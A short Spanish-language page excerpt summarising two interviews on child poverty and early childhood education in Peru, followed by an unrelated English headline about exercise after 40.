Miembro directivo del Grupo Impulsor Inversión en la Infancia, el padre Gastón Garatea analiza en la siguiente entrevista el último informe del Instituto Nacional de Estadística e Informática (INEI) que revela una mínima reducción del índice de pobreza en el país. Reflexiona sobre la situación de los niños y la priorización del actual gobierno en la inversión por la infancia.
          â€œEstamos insistiendo mucho en que no se invisibilice la educación de los niños menores de 3 años”        
En el marco del cumplimiento de los 85 años de la educación inicial en nuestro país, Elena Valdiviezo, especialista en educación inicial, catedrática de la Facultad de Educación de la Universidad Católica e integrante del Grupo impulsor Inversión en la Infancia, habla sobre la situación de la educación inicial en el Perú, su cobertura y calidad, y las políticas del Ministerio de Educación para este nivel educativo. También comenta sobre la formación de docentes para el nivel inicial y las políticas para los niños menores de 3 años.
          Over 40? Go easy on the extreme workouts, dude